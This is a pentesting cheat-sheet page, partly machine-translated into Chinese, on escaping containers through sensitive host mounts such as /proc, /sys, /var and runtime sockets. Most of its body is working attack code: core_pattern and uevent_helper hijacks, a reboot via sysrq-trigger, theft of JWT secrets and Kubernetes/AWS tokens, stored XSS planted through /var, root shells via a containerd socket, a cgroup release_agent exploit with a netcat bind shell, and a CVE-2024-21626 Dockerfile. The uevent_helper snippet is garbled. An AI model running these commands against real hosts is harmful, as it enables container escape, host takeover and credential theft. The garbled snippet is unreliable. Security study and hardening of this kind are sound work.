# Sensitive Mounts

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暴露 `/proc`、`/sys` 和 `/var` 而没有适当的命名空间隔离会引入重大安全风险，包括攻击面扩大和信息泄露。这些目录包含敏感文件，如果配置错误或被未经授权的用户访问，可能导致容器逃逸、主机修改，或提供有助于进一步攻击的信息。例如，错误地挂载 `-v /proc:/host/proc` 可能会由于其基于路径的特性绕过 AppArmor 保护，使得 `/host/proc` 没有保护。

**您可以在** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)** 中找到每个潜在漏洞的更多详细信息。**

## procfs Vulnerabilities

### `/proc/sys`

该目录允许访问以修改内核变量，通常通过 `sysctl(2)`，并包含几个值得关注的子目录：

#### **`/proc/sys/kernel/core_pattern`**

- 在 [core(5)](https://man7.org/linux/man-pages/man5/core.5.html) 中描述。
- 如果您可以写入此文件，则可以写入一个管道 `|`，后跟将在崩溃发生后执行的程序或脚本的路径。
- 攻击者可以通过执行 `mount` 找到主机中其容器的路径，并将路径写入其容器文件系统中的二进制文件。然后，崩溃一个程序以使内核在容器外执行该二进制文件。

- **测试和利用示例**：
```bash
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test write access
cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern # Set custom handler
sleep 5 && ./crash & # Trigger handler
```
检查 [this post](https://pwning.systems/posts/escaping-containers-for-fun/) 以获取更多信息。

示例程序崩溃：
```c
int main(void) {
char buf[1];
for (int i = 0; i < 100; i++) {
buf[i] = 1;
}
return 0;
}
```
#### **`/proc/sys/kernel/modprobe`**

- 在 [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) 中详细说明。
- 包含用于加载内核模块的内核模块加载器的路径。
- **检查访问示例**：

```bash
ls -l $(cat /proc/sys/kernel/modprobe) # 检查对 modprobe 的访问
```

#### **`/proc/sys/vm/panic_on_oom`**

- 在 [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) 中引用。
- 一个全局标志，控制内核在发生 OOM 条件时是否崩溃或调用 OOM 杀手。

#### **`/proc/sys/fs`**

- 根据 [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)，包含有关文件系统的选项和信息。
- 写入访问可能会对主机启用各种拒绝服务攻击。

#### **`/proc/sys/fs/binfmt_misc`**

- 允许根据其魔数注册非本地二进制格式的解释器。
- 如果 `/proc/sys/fs/binfmt_misc/register` 可写，可能导致特权升级或 root shell 访问。
- 相关漏洞和解释：
- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
- 深入教程：[视频链接](https://www.youtube.com/watch?v=WBC7hhgMvQQ)

### 其他 `/proc` 中的内容

#### **`/proc/config.gz`**

- 如果启用了 `CONFIG_IKCONFIG_PROC`，可能会泄露内核配置。
- 对攻击者识别运行内核中的漏洞非常有用。

#### **`/proc/sysrq-trigger`**

- 允许调用 Sysrq 命令，可能导致立即重启系统或其他关键操作。
- **重启主机示例**：

```bash
echo b > /proc/sysrq-trigger # 重启主机
```

#### **`/proc/kmsg`**

- 暴露内核环形缓冲区消息。
- 可以帮助进行内核漏洞利用、地址泄漏，并提供敏感系统信息。

#### **`/proc/kallsyms`**

- 列出内核导出的符号及其地址。
- 对于内核漏洞开发至关重要，尤其是在克服 KASLR 时。
- 地址信息在 `kptr_restrict` 设置为 `1` 或 `2` 时受到限制。
- 详细信息见 [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)。

#### **`/proc/[pid]/mem`**

- 与内核内存设备 `/dev/mem` 交互。
- 历史上容易受到特权升级攻击。
- 更多信息见 [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)。

#### **`/proc/kcore`**

- 以 ELF core 格式表示系统的物理内存。
- 读取可能会泄露主机系统和其他容器的内存内容。
- 大文件大小可能导致读取问题或软件崩溃。
- 详细用法见 [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/)。

#### **`/proc/kmem`**

- `/dev/kmem` 的替代接口，表示内核虚拟内存。
- 允许读取和写入，因此可以直接修改内核内存。

#### **`/proc/mem`**

- `/dev/mem` 的替代接口，表示物理内存。
- 允许读取和写入，修改所有内存需要解析虚拟地址到物理地址。

#### **`/proc/sched_debug`**

- 返回进程调度信息，绕过 PID 命名空间保护。
- 暴露进程名称、ID 和 cgroup 标识符。

#### **`/proc/[pid]/mountinfo`**

- 提供有关进程挂载命名空间中挂载点的信息。
- 暴露容器 `rootfs` 或映像的位置。

### `/sys` 漏洞

#### **`/sys/kernel/uevent_helper`**

- 用于处理内核设备 `uevents`。
- 写入 `/sys/kernel/uevent_helper` 可以在 `uevent` 触发时执行任意脚本。
- **漏洞利用示例**：
```bash

#### Creates a payload

echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper

#### Finds host path from OverlayFS mount for container

host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab)

#### Sets uevent_helper to malicious helper

echo "$host_path/evil-helper" > /sys/kernel/uevent_helper

#### Triggers a uevent

echo change > /sys/class/mem/null/uevent

#### Reads the output

cat /output
```

#### **`/sys/class/thermal`**

- Controls temperature settings, potentially causing DoS attacks or physical damage.

#### **`/sys/kernel/vmcoreinfo`**

- Leaks kernel addresses, potentially compromising KASLR.

#### **`/sys/kernel/security`**

- Houses `securityfs` interface, allowing configuration of Linux Security Modules like AppArmor.
- Access might enable a container to disable its MAC system.

#### **`/sys/firmware/efi/vars` and `/sys/firmware/efi/efivars`**

- Exposes interfaces for interacting with EFI variables in NVRAM.
- Misconfiguration or exploitation can lead to bricked laptops or unbootable host machines.

#### **`/sys/kernel/debug`**

- `debugfs` offers a "no rules" debugging interface to the kernel.
- History of security issues due to its unrestricted nature.

### `/var` Vulnerabilities

The host's **/var** folder contains container runtime sockets and the containers' filesystems.
If this folder is mounted inside a container, that container will get read-write access to other containers' file systems
with root privileges. This can be abused to pivot between containers, to cause a denial of service, or to backdoor other
containers and applications that run in them.

#### Kubernetes

If a container like this is deployed with Kubernetes:

```yaml
apiVersion: v1  
kind: Pod  
metadata:  
  name: pod-mounts-var  
  labels:  
    app: pentest  
spec:  
  containers:  
  - name: pod-mounts-var-folder  
    image: alpine  
    volumeMounts:  
    - mountPath: /host-var  
      name: noderoot  
    command: [ "/bin/sh", "-c", "--" ]  
    args: [ "while true; do sleep 30; done;" ]  
  volumes:  
  - name: noderoot  
    hostPath:  
      path: /var
```

Inside the **pod-mounts-var-folder** container:

```bash
/ # find /host-var/ -type f -iname '*.env*' 2>/dev/null

/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/201/fs/usr/src/app/.env.example
<SNIP>
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/135/fs/docker-entrypoint.d/15-local-resolvers.envsh

/ # cat /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/105/fs/usr/src/app/.env.example | grep -i secret
JWT_SECRET=85d<SNIP>a0
REFRESH_TOKEN_SECRET=14<SNIP>ea

/ # find /host-var/ -type f -iname 'index.html' 2>/dev/null
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/57/fs/usr/src/app/node_modules/@mapbox/node-pre-gyp/lib/util/nw-pre-gyp/index.html
<SNIP>
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/share/nginx/html/index.html
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/132/fs/usr/share/nginx/html/index.html

/ # echo '<!DOCTYPE html><html lang="en"><head><script>alert("Stored XSS!")</script></head></html>' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/sh
are/nginx/html/index2.html
```

The XSS was achieved:

![Stored XSS via mounted /var folder](/images/stored-xss-via-mounted-var-folder.png)

Note that the container DOES NOT require a restart or anything. Any changes made via the mounted **/var** folder will be applied instantly.

You can also replace configuration files, binaries, services, application files, and shell profiles to achieve automatic (or semi-automatic) RCE.

##### Access to cloud credentials

The container can read K8s serviceaccount tokens or AWS webidentity tokens
which allows the container to gain unauthorized access to K8s or cloud:

```bash
/ # find /host-var/ -type f -iname '*token*' 2>/dev/null | grep kubernetes.io
/host-var/lib/kubelet/pods/21411f19-934c-489e-aa2c-4906f278431e/volumes/kubernetes.io~projected/kube-api-access-64jw2/..2025_01_22_12_37_42.4197672587/token
<SNIP>
/host-var/lib/kubelet/pods/01c671a5-aaeb-4e0b-adcd-1cacd2e418ac/volumes/kubernetes.io~projected/kube-api-access-bljdj/..2025_01_22_12_17_53.265458487/token
/host-var/lib/kubelet/pods/01c671a5-aaeb-4e0b-adcd-1cacd2e418ac/volumes/kubernetes.io~projected/aws-iam-token/..2025_01_22_03_45_56.2328221474/token
/host-var/lib/kubelet/pods/5fb6bd26-a6aa-40cc-abf7-ecbf18dde1f6/volumes/kubernetes.io~projected/kube-api-access-fm2t6/..2025_01_22_12_25_25.3018586444/token
```

#### Docker

The exploitation in Docker (or in Docker Compose deployments) is exactly the same, except that usually
the other containers' filesystems are available under a different base path:

```bash
$ docker info | grep -i 'docker root\|storage driver'
存储驱动: overlay2
Docker 根目录: /var/lib/docker
```

So the filesystems are under `/var/lib/docker/overlay2/`:

```bash
$ sudo ls -la /var/lib/docker/overlay2

drwx--x---  4 root root  4096 1月  9 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d
drwx--x---  4 root root  4096 1月 11 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496
drwx--x---  4 root root  4096 1月  9 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f
drwx--x---  4 root root  4096 1月  9 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2
<SNIP>
```

#### Note

The actual paths may differ in different setups, which is why your best bet is to use the **find** command to
locate the other containers' filesystems and SA / web identity tokens



### Other Sensitive Host Sockets and Directories (2023-2025)

Mounting certain host Unix sockets or writable pseudo-filesystems is equivalent to giving the container full root on the node. **Treat the following paths as highly sensitive and never expose them to untrusted workloads**:

```text
/run/containerd/containerd.sock     # containerd CRI 套接字  
/var/run/crio/crio.sock             # CRI-O 运行时套接字  
/run/podman/podman.sock             # Podman API（有根或无根）  
/var/run/kubelet.sock               # Kubernetes 节点上的 Kubelet API  
/run/firecracker-containerd.sock    # Kata / Firecracker
```

Attack example abusing a mounted **containerd** socket:

```bash
# 在容器内（套接字挂载在 /host/run/containerd.sock）
ctr --address /host/run/containerd.sock images pull docker.io/library/busybox:latest
ctr --address /host/run/containerd.sock run --tty --privileged --mount \
type=bind,src=/,dst=/host,options=rbind:rw docker.io/library/busybox:latest host /bin/sh
chroot /host /bin/bash   # 在主机上获得完整的 root shell
```

A similar technique works with **crictl**, **podman** or the **kubelet** API once their respective sockets are exposed.

Writable **cgroup v1** mounts are also dangerous. If `/sys/fs/cgroup` is bind-mounted **rw** and the host kernel is vulnerable to **CVE-2022-0492**, an attacker can set a malicious `release_agent` and execute arbitrary code in the *initial* namespace:

```bash
# 假设容器具有 CAP_SYS_ADMIN 权限并且内核存在漏洞
mkdir -p /tmp/x && echo 1 > /tmp/x/notify_on_release

echo '/tmp/pwn' > /sys/fs/cgroup/release_agent   # 需要 CVE-2022-0492

echo -e '#!/bin/sh\nnc -lp 4444 -e /bin/sh' > /tmp/pwn && chmod +x /tmp/pwn
sh -c "echo 0 > /tmp/x/cgroup.procs"  # 触发 empty-cgroup 事件
```

When the last process leaves the cgroup, `/tmp/pwn` runs **as root on the host**. Patched kernels (>5.8 with commit `32a0db39f30d`) validate the writer’s capabilities and block this abuse.

### Mount-Related Escape CVEs (2023-2025)

* **CVE-2024-21626 – runc “Leaky Vessels” file-descriptor leak**
runc ≤1.1.11 leaked an open directory file descriptor that could point to the host root. A malicious image or `docker exec` could start a container whose *working directory* is already on the host filesystem, enabling arbitrary file read/write and privilege escalation. Fixed in runc 1.1.12 (Docker ≥25.0.3, containerd ≥1.7.14).

```Dockerfile
FROM scratch
WORKDIR /proc/self/fd/4   # 4 == "/" on the host leaked by the runtime
CMD ["/bin/sh"]
```

* **CVE-2024-23651 / 23653 – BuildKit OverlayFS copy-up TOCTOU**
A race condition in the BuildKit snapshotter let an attacker replace a file that was about to be *copy-up* into the container’s rootfs with a symlink to an arbitrary path on the host, gaining write access outside the build context. Fixed in BuildKit v0.12.5 / Buildx 0.12.0. Exploitation requires an untrusted `docker build` on a vulnerable daemon.

### Hardening Reminders (2025)

1. Bind-mount host paths **read-only** whenever possible and add `nosuid,nodev,noexec` mount options.
2. Prefer dedicated side-car proxies or rootless clients instead of exposing the runtime socket directly.
3. Keep the container runtime up-to-date (runc ≥1.1.12, BuildKit ≥0.12.5, containerd ≥1.7.14).
4. In Kubernetes, use `securityContext.readOnlyRootFilesystem: true`, the *restricted* PodSecurity profile and avoid `hostPath` volumes pointing to the paths listed above.

### References

- [runc CVE-2024-21626 advisory](https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv)
- [Unit 42 analysis of CVE-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)
- [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)
- [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc_group_understanding_hardening_linux_containers-1-1.pdf)
- [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container_whitepaper.pdf)

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